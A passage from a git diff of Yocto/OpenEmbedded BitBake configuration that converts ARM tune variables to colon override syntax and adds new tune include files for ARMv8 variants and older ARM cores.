-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-neon armv7vet2hfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon} armv7vehfb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon} armv7vehfb-neon-vfpv4 armv7vet2hfb-neon-vfpv4"
+ARMPKGARCH:tune-armv7vehfb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7vehfb = "${TUNE_FEATURES:tune-armv7vehf} bigendian"
+TUNE_FEATURES:tune-armv7vethfb = "${TUNE_FEATURES:tune-armv7vethf} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vehf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vethf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv3 = "${TUNE_FEATURES:tune-armv7vehf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv3 = "${TUNE_FEATURES:tune-armv7vethf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vehf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vethf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-neon = "${TUNE_FEATURES:tune-armv7vehf-neon} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-neon = "${TUNE_FEATURES:tune-armv7vethf-neon} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vehf-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vethf-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7vehfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7vehfb-vfp armv7vet2hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-vfpv3d16 armv7vet2hfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3d16} armv7vehfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3d16} armv7vehfb-vfpv3 armv7vet2hfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-vfpv4d16 armv7vet2hfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-neon armv7vet2hfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon} armv7vehfb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon} armv7vehfb-neon-vfpv4 armv7vet2hfb-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/arch-armv8-1m-main.inc b/meta/conf/machine/include/arm/arch-armv8-1m-main.inc
new file mode 100644
index 0000000000..5b1bcb8f46
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-1m-main.inc
@@ -0,0 +1,18 @@
+#
+#
+# Defaults for ARMv8.1-M.main
+#
+DEFAULTTUNE ?= "armv8-1m-main"
+
+TUNEVALID[armv8-1m-main] = "Enable instructions for ARMv8.1-m.main"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-1m-main', ' -march=armv8.1-m.main', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-1m-main', 'armv8-1m-main:', '', d)}"
+
+TUNECONFLICTS[armv8-1m-main] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+AVAILTUNES += "armv8-1m-main"
+ARMPKGARCH:tune-armv8-1m-main = "armv8-1m-main"
+TUNE_FEATURES:tune-armv8-1m-main = "armv8-1m-main"
+PACKAGE_EXTRA_ARCHS:tune-armv8-1m-main = "armv8-1m-main"
diff --git a/meta/conf/machine/include/arm/arch-armv8-2a.inc b/meta/conf/machine/include/arm/arch-armv8-2a.inc
new file mode 100644
index 0000000000..30f2870811
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-2a.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "armv8-2a"
+
+TUNEVALID[armv8-2a] = "Enable instructions for ARMv8-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', ' -march=armv8.2-a', '', d)}"
+# TUNE crypto will be handled by arch-armv8a.inc below
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', 'armv8-2a:', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "armv8-2a armv8-2a-crypto"
+ARMPKGARCH:tune-armv8-2a ?= "armv8-2a"
+ARMPKGARCH:tune-armv8-2a-crypto ?= "armv8-2a"
+TUNE_FEATURES:tune-armv8-2a = "aarch64 armv8-2a"
+TUNE_FEATURES:tune-armv8-2a-crypto = "${TUNE_FEATURES:tune-armv8-2a} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-2a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-2a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} armv8-2a-crypto"
+BASE_LIB:tune-armv8-2a = "lib64"
+BASE_LIB:tune-armv8-2a-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8-5a.inc b/meta/conf/machine/include/arm/arch-armv8-5a.inc
new file mode 100644
index 0000000000..a1bcb7fb9a
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-5a.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "armv8-5a"
+
+TUNEVALID[armv8-5a] = "Enable instructions for ARMv8.5-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-5a', ' -march=armv8.5-a', '', d)}"
+# TUNE crypto will be handled by arch-armv8a.inc below
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-5a', 'armv8-5a:', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "armv8-5a armv8-5a-crypto"
+ARMPKGARCH:tune-armv8-5a ?= "armv8-5a"
+ARMPKGARCH:tune-armv8-5a-crypto ?= "armv8-5a"
+TUNE_FEATURES:tune-armv8-5a = "aarch64 armv8-5a"
+TUNE_FEATURES:tune-armv8-5a-crypto = "${TUNE_FEATURES:tune-armv8-5a} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-5a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-5a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-5a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-5a} armv8-5a-crypto"
+BASE_LIB:tune-armv8-5a = "lib64"
+BASE_LIB:tune-armv8-5a-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8a.inc b/meta/conf/machine/include/arm/arch-armv8a.inc
index f810a1e8fc..97c944dfa5 100644
--- a/meta/conf/machine/include/arm/arch-armv8a.inc
+++ b/meta/conf/machine/include/arm/arch-armv8a.inc
@@ -1,30 +1,28 @@
DEFAULTTUNE ?= "armv8a-crc"
TUNEVALID[armv8a] = "Enable instructions for ARMv8-a"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', ' -march=armv8-a', '', d)}"
-TUNEVALID[crc] = "Enable instructions for ARMv8-a Cyclic Redundancy Check (CRC)"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'crc', '+crc', '', d)}"
-TUNEVALID[crypto] = "Enable instructions for ARMv8-a cryptographic"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'crypto', '+crypto', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', 'armv8a:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', ' -march=armv8-a', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', 'armv8a:', '', d)}"
require conf/machine/include/arm/arch-arm64.inc
+require conf/machine/include/arm/feature-arm-crc.inc
+require conf/machine/include/arm/feature-arm-crypto.inc
# Little Endian base configs
AVAILTUNES += "armv8a armv8a-crc armv8a-crc-crypto armv8a-crypto"
-ARMPKGARCH_tune-armv8a ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crc ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crypto ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crc-crypto ?= "armv8a"
-TUNE_FEATURES_tune-armv8a = "aarch64 armv8a"
-TUNE_FEATURES_tune-armv8a-crc = "${TUNE_FEATURES_tune-armv8a} crc"
-TUNE_FEATURES_tune-armv8a-crypto = "${TUNE_FEATURES_tune-armv8a} crypto"
-TUNE_FEATURES_tune-armv8a-crc-crypto = "${TUNE_FEATURES_tune-armv8a-crc} crypto"
-PACKAGE_EXTRA_ARCHS_tune-armv8a = "aarch64 armv8a"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crc = "${PACKAGE_EXTRA_ARCHS_tune-armv8a} armv8a-crc"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a} armv8a-crypto"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} armv8a-crypto armv8a-crc-crypto"
-BASE_LIB_tune-armv8a = "lib64"
-BASE_LIB_tune-armv8a-crc = "lib64"
-BASE_LIB_tune-armv8a-crypto = "lib64"
-BASE_LIB_tune-armv8a-crc-crypto = "lib64"
+ARMPKGARCH:tune-armv8a ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crc ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crypto ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crc-crypto ?= "armv8a"
+TUNE_FEATURES:tune-armv8a = "aarch64 armv8a"
+TUNE_FEATURES:tune-armv8a-crc = "${TUNE_FEATURES:tune-armv8a} crc"
+TUNE_FEATURES:tune-armv8a-crypto = "${TUNE_FEATURES:tune-armv8a} crypto"
+TUNE_FEATURES:tune-armv8a-crc-crypto = "${TUNE_FEATURES:tune-armv8a-crc} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8a = "aarch64 armv8a"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crc = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8a-crc"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8a-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} armv8a-crypto armv8a-crc-crypto"
+BASE_LIB:tune-armv8a = "lib64"
+BASE_LIB:tune-armv8a-crc = "lib64"
+BASE_LIB:tune-armv8a-crypto = "lib64"
+BASE_LIB:tune-armv8a-crc-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8m-base.inc b/meta/conf/machine/include/arm/arch-armv8m-base.inc
new file mode 100644
index 0000000000..ffee8cea80
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8m-base.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv8-m.base
+#
+DEFAULTTUNE ?= "armv8m-base"
+
+TUNEVALID[armv8m-base] = "Enable instructions for ARMv8-m.base"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-base', ' -march=armv8-m.base', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-base', 'armv8m-base:', '', d)}"
+
+TUNECONFLICTS[armv8m-base] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "armv8m-base"
+ARMPKGARCH:tune-armv8m-base = "armv8m-base"
+TUNE_FEATURES:tune-armv8m-base = "armv8m-base"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-base = "armv8m-base"
diff --git a/meta/conf/machine/include/arm/arch-armv8m-main.inc b/meta/conf/machine/include/arm/arch-armv8m-main.inc
new file mode 100644
index 0000000000..01bef35428
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8m-main.inc
@@ -0,0 +1,28 @@
+#
+# Defaults for ARMv8-m.main
+#
+DEFAULTTUNE ?= "armv8m-main"
+
+require conf/machine/include/arm/arch-armv8m-base.inc
+require conf/machine/include/arm/feature-arm-dsp.inc
+require conf/machine/include/arm/feature-arm-neon.inc
+
+TUNEVALID[armv8m-main] = "Enable instructions for ARMv8-m.main"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-main', ' -march=armv8-m.main', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-main', 'armv8m-main:', '', d)}"
+
+TUNECONFLICTS[armv8m-main] = "armv4 armv5 armv6 armv7a"
+
+AVAILTUNES += "armv8m-main armv8m-maine armv8m-main-vfpv5spd16 armv8m-maine-vfpv5spd16"
+ARMPKGARCH:tune-armv8m-main = "armv8m-main"
+ARMPKGARCH:tune-armv8m-maine = "armv8m-main"
+ARMPKGARCH:tune-armv8m-main-vfpv5spd16 = "armv8m-main"
+ARMPKGARCH:tune-armv8m-maine-vfpv5spd16 = "armv8m-main"
+TUNE_FEATURES:tune-armv8m-main = "armv8m-main"
+TUNE_FEATURES:tune-armv8m-maine = "${TUNE_FEATURES:tune-armv8m-main} dsp"
+TUNE_FEATURES:tune-armv8m-main-vfpv5spd16 = "${TUNE_FEATURES:tune-armv8m-main} vfpv5spd16"
+TUNE_FEATURES:tune-armv8m-maine-vfpv5spd16 = "${TUNE_FEATURES:tune-armv8m-main-vfpv5spd16} dsp"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-main = "armv8m-main"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-maine = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-maine"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-main-vfpv5spd16 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-main-fpv5-spd16"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-maine-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/arch-armv8r.inc b/meta/conf/machine/include/arm/arch-armv8r.inc
new file mode 100644
index 0000000000..0dcfd34c1a
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8r.inc
@@ -0,0 +1,37 @@
+#
+# Defaults for ARMv8-r
+#
+DEFAULTTUNE ?= "armv8r"
+
+TUNEVALID[armv8r] = "Enable instructions for ARMv8-r"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8r', ' -march=armv8-r', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8r', 'armv8r:', '', d)}"
+
+require conf/machine/include/arm/arch-arm64.inc
+require conf/machine/include/arm/feature-arm-crc.inc
+require conf/machine/include/arm/feature-arm-crypto.inc
+
+# All ARMv8 has floating point hardware built in. Null it here to avoid any confusion for 32bit.
+TARGET_FPU_32 = ""
+
+AVAILTUNES += "armv8r armv8r-crc armv8r-crypto armv8r-simd armv8r-crc-crypto armv8r-crc-simd armv8r-crc-crypto-simd"
+ARMPKGARCH:tune-armv8r = "armv8r"
+ARMPKGARCH:tune-armv8r-crc = "armv8r"
+ARMPKGARCH:tune-armv8r-crypto = "armv8r"
+ARMPKGARCH:tune-armv8r-simd = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-crypto = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-simd = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-crypto-simd = "armv8r"
+TUNE_FEATURES:tune-armv8r = "armv8r"
+TUNE_FEATURES:tune-armv8r-crc = "${TUNE_FEATURES:tune-armv8r} crc"
+TUNE_FEATURES:tune-armv8r-crypto = "${TUNE_FEATURES:tune-armv8r} crypto"
+TUNE_FEATURES:tune-armv8r-simd = "${TUNE_FEATURES:tune-armv8r} simd"
+TUNE_FEATURES:tune-armv8r-crc-crypto = "${TUNE_FEATURES:tune-armv8r-crc} crypto"
+TUNE_FEATURES:tune-armv8r-crc-simd = "${TUNE_FEATURES:tune-armv8r-crc} simd"
+TUNE_FEATURES:tune-armv8r-crc-crypto-simd = "${TUNE_FEATURES:tune-armv8r-crc-crypto} simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r = "armv8r"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-crc"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc} armv8r-simd armv8r-crc-simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-crypto-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd} armv8r-crc-crypto-simd"
diff --git a/meta/conf/machine/include/arm/armv4/tune-arm920t.inc b/meta/conf/machine/include/arm/armv4/tune-arm920t.inc
new file mode 100644
index 0000000000..1b1cbdb5a7
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-arm920t.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "arm920t"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[arm920t] = "Enable arm920t specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', ' -mcpu=arm920t', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', 'armv4:', '', d)}"
+
+AVAILTUNES += "arm920t"
+ARMPKGARCH:tune-arm920t = "arm920t"
+# mcpu is used so don't use armv4t as we don't want march
+TUNE_FEATURES:tune-arm920t = "arm thumb arm920t"
+PACKAGE_EXTRA_ARCHS:tune-arm920t = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} arm920t arm920tt"
diff --git a/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc b/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc
new file mode 100644
index 0000000000..78b890b43c
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "arm9tdmi"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[arm9tdmi] = "Enable arm9tdmi specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', ' -mcpu=arm9tdmi', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', 'armv4:', '', d)}"
+
+AVAILTUNES += "arm9tdmi"
+ARMPKGARCH:tune-arm9tdmi = "arm9tdmi"
+# mcpu is used so don't use armv4t as we don't want march
+TUNE_FEATURES:tune-arm9tdmi = "arm thumb arm9tdmi"
+PACKAGE_EXTRA_ARCHS:tune-arm9tdmi = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} arm9tdmi arm9tdmit"
diff --git a/meta/conf/machine/include/arm/armv4/tune-ep9312.inc b/meta/conf/machine/include/arm/armv4/tune-ep9312.inc
new file mode 100644
index 0000000000..0d481d3888
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-ep9312.inc
@@ -0,0 +1,12 @@
+DEFAULTTUNE ?= "ep9312"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[ep9312] = "Enable Cirrus Logic EP9312 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', ' -march=ep9312 -mcpu=ep9312', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', 'armv4:', '', d)}"
+
+AVAILTUNES += "ep9312"
+ARMPKGARCH:tune-ep9312 = "ep9312"
+TUNE_FEATURES:tune-ep9312 = "thumb ep9312"
+PACKAGE_EXTRA_ARCHS:tune-ep9312 = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} ep9312t"
diff --git a/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc b/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc
new file mode 100644
index 0000000000..38ea9b7dd5
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc
@@ -0,0 +1,12 @@
+DEFAULTTUNE ?= "strongarm"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[strongarm] = "Enable Strongarm 1100 series processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', ' -mcpu=strongarm1100', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', 'armv4:', '', d)}"
+
+AVAILTUNES += "strongarm"
+ARMPKGARCH:tune-strongarm = "strongarm"
+TUNE_FEATURES:tune-strongarm = "arm strongarm"
+PACKAGE_EXTRA_ARCHS:tune-strongarm = "${PACKAGE_EXTRA_ARCHS:tune-armv4} strongarm"
diff --git a/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc b/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc
new file mode 100644
index 0000000000..84c5084868
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "armv5te"
+
+require conf/machine/include/arm/arch-armv5-dsp.inc
+
+TUNEVALID[arm926ejs] = "Enable arm926ejs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', ' -mcpu=arm926ej-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', 'armv5:', '', d)}"
+
+AVAILTUNES += "arm926ejs"
+ARMPKGARCH:tune-arm926ejs = "arm926ejs"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-arm926ejs = "arm thumb dsp arm926ejs"
+PACKAGE_EXTRA_ARCHS:tune-arm926ejs = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} arm926ejste arm926ejse"
diff --git a/meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc b/meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc
new file mode 100644
index 0000000000..c584b47d18
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc
@@ -0,0 +1,15 @@
+# Configurations for the Intel PXA27x Appications Processor Family.
+# Please use tune-xscale for PXA255/PXA26x based processors.
+
+DEFAULTTUNE ?= "iwmmxt"
+
+require conf/machine/include/arm/arch-armv5-dsp.inc
+
+TUNEVALID[iwmmxt] = "Enable Intel PXA27x specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', ' -mcpu=iwmmxt', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', 'armv5:', '', d)}"
+
+AVAILTUNES += "iwmmxt"
+ARMPKGARCH:tune-iwmmxt = "iwmmxt"
+TUNE_FEATURES:tune-iwmmxt = "thumb iwmmxt"
+PACKAGE_EXTRA_ARCHS:tune-iwmmxt = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} iwmmxt iwmmxtt"
diff --git a/meta/conf/machine/include/arm/armv5/tune-xscale.inc b/meta/conf/machine/include/arm/armv5/tune-xscale.inc
new file mode 100644
index 0000000000..cc67dcd304
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv5/tune-xscale.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "armv5te"
+
+require conf/machine/include/arm/arch-armv5-dsp.inc
+
+TUNEVALID[xscale] = "Enable PXA255/PXA26x Xscale specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'xscale', ' -mcpu=xscale', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'xscale', 'armv5:', '', d)}"
+
+AVAILTUNES += "xscale"
+ARMPKGARCH:tune-xscale = "xscale"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-xscale = "arm thumb dsp xscale"
+PACKAGE_EXTRA_ARCHS:tune-xscale = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} xscale xscalet xscalee xscalete"
+
+AVAILTUNES += "xscale-be"
+ARMPKGARCH:tune-xscale-be = "xscale"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-xscale-be = "${TUNE_FEATURES:tune-xscale} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-xscale-be = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb} xscaleb xscaletb xscaleeb xscaleteb"
diff --git a/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc b/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc
new file mode 100644
index 0000000000..b848580948
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc
@@ -0,0 +1,16 @@
+DEFAULTTUNE ?= "armv6hf"
+
+require conf/machine/include/arm/arch-armv6.inc
+
+TUNEVALID[arm1136jfs] = "Enable arm1136jfs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', ' -mcpu=arm1136jf-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', 'armv6:', '', d)}"
+
+AVAILTUNES += "arm1136jfs arm1136jfshf"
+ARMPKGARCH:tune-arm1136jfs = "arm1136jfs"
+ARMPKGARCH:tune-arm1136jfshf = "arm1136jfs"
+# mcpu is used so don't use armv6 as we don't want march
+TUNE_FEATURES:tune-arm1136jfs = "arm vfp arm1136jfs"
+TUNE_FEATURES:tune-arm1136jfshf = "${TUNE_FEATURES:tune-arm1136jfs} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-arm1136jfs = "${PACKAGE_EXTRA_ARCHS:tune-armv6} arm1136jfs-vfp"
+PACKAGE_EXTRA_ARCHS:tune-arm1136jfshf = "${PACKAGE_EXTRA_ARCHS:tune-armv6hf} arm1136jfshf-vfp"
diff --git a/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc b/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc
new file mode 100644
